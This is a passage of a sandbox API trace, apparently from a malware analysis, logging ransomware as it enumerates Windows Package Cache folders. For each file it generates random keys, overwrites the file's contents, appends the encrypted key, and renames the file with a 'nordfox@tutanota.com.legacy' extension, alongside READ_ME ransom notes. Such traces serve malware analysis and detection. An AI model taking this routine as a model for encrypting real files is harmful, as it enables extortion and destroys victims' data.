cAlternateFileName="READ_M~1.LEG")) returned 1 [0143.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0143.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0143.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0143.096] GetLastError () returned 0x0 [0143.096] SetLastError (dwErrCode=0x0) [0143.096] GetLastError () returned 0x0 [0143.096] SetLastError (dwErrCode=0x0) [0143.096] GetLastError () returned 0x0 [0143.096] SetLastError (dwErrCode=0x0) [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0143.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0143.096] FindNextFileW (in: hFindFile=0x60ca58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0143.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0143.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0143.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0143.096] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0143.096] GetLastError () returned 0x0 [0143.097] SetLastError (dwErrCode=0x0) [0143.097] GetLastError () returned 0x0 [0143.097] SetLastError (dwErrCode=0x0) [0143.097] GetLastError () returned 0x0 [0143.097] SetLastError (dwErrCode=0x0) [0143.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0143.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0143.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0143.097] FindNextFileW (in: hFindFile=0x60ca58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0143.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570858 [0143.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0143.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0143.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0143.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0143.097] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", dwFileAttributes=0x80) returned 1 [0143.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0143.097] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x5646a8 [0143.097] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0143.097] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0143.098] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=147456) returned 1 [0143.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24000) returned 0x2f40858 [0143.098] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24000) returned 0x2e81f40 [0143.099] ReadFile (in: hFile=0x7b8, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x24000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x24000, lpOverlapped=0x0) returned 1 [0143.230] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=-147456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.230] WriteFile (in: hFile=0x7b8, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x24000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x24000, lpOverlapped=0x0) returned 1 [0143.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0143.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0143.233] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x24000 [0143.233] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0143.233] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0143.234] WriteFile (in: hFile=0x7b8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0143.234] WriteFile (in: hFile=0x7b8, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0143.234] CloseHandle (hObject=0x7b8) returned 1 [0143.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0143.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0143.234] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0143.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0143.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0143.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0143.236] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0143.236] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0143.236] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0143.237] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0143.237] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0143.237] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0143.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0143.237] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0143.237] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0143.237] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1462871) returned 1 [0143.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x165257) returned 0x3124020 [0143.240] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x165257) returned 0x3295020 [0143.243] ReadFile (in: hFile=0x7b8, lpBuffer=0x3124020, nNumberOfBytesToRead=0x165257, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3124020*, lpNumberOfBytesRead=0x2e1f9bc*=0x165257, lpOverlapped=0x0) returned 1 [0143.315] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=-1462871, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.315] WriteFile (in: hFile=0x7b8, lpBuffer=0x3295020*, nNumberOfBytesToWrite=0x165257, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3295020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x165257, lpOverlapped=0x0) returned 1 [0143.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3124020 | out: hHeap=0x520000) returned 1 [0143.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3295020 | out: hHeap=0x520000) returned 1 [0143.333] SetFilePointer (in: hFile=0x7b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x165257 [0143.333] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0143.333] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0143.333] WriteFile (in: hFile=0x7b8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0143.334] WriteFile (in: hFile=0x7b8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0143.334] CloseHandle (hObject=0x7b8) returned 1 [0143.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0143.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0143.334] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0143.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a5b0 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a1d0 | out: hHeap=0x520000) returned 1 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609fe0 | out: hHeap=0x520000) returned 1 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0143.336] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe129ad93, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60ca98 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0143.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0143.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0143.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0143.336] GetLastError () returned 0x0 [0143.336] SetLastError (dwErrCode=0x0) [0143.336] GetLastError () returned 0x0 [0143.336] SetLastError (dwErrCode=0x0) [0143.336] GetLastError () returned 0x0 [0143.336] SetLastError (dwErrCode=0x0) [0143.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c558 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c558 | out: hHeap=0x520000) returned 1 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0143.337] FindNextFileW (in: hFindFile=0x60ca98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe129ad93, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0143.337] GetLastError () returned 0x0 [0143.337] SetLastError (dwErrCode=0x0) [0143.337] GetLastError () returned 0x0 [0143.337] SetLastError (dwErrCode=0x0) [0143.337] GetLastError () returned 0x0 [0143.337] SetLastError (dwErrCode=0x0) [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0143.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0143.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c618 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c618 | out: hHeap=0x520000) returned 1 [0143.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0143.338] FindNextFileW (in: hFindFile=0x60ca98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x8abe5b00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0143.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0143.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0143.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0143.338] GetLastError () returned 0x0 [0143.338] SetLastError (dwErrCode=0x0) [0143.338] GetLastError () returned 0x0 [0143.338] SetLastError (dwErrCode=0x0) [0143.338] GetLastError () returned 0x0 [0143.338] SetLastError (dwErrCode=0x0) [0143.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610310 | out: hHeap=0x520000) returned 1 [0143.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0143.338] FindNextFileW (in: hFindFile=0x60ca98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe129ad93, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe129ad93, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe129ad93, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0143.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0143.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0143.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0143.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0143.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0143.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0143.339] GetLastError () returned 0x0 [0143.339] SetLastError (dwErrCode=0x0) [0143.339] GetLastError () returned 0x0 [0143.339] SetLastError (dwErrCode=0x0) [0143.339] GetLastError () returned 0x0 [0143.339] SetLastError (dwErrCode=0x0) [0143.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0143.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0143.339] FindNextFileW (in: hFindFile=0x60ca98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0143.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0143.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0143.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0143.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0143.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0143.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0143.339] GetLastError () returned 0x0 [0143.339] SetLastError (dwErrCode=0x0) [0143.339] GetLastError () returned 0x0 [0143.339] SetLastError (dwErrCode=0x0) [0143.339] GetLastError () returned 0x0 [0143.339] SetLastError (dwErrCode=0x0) [0143.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0143.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0143.339] RtlAllocateHeap 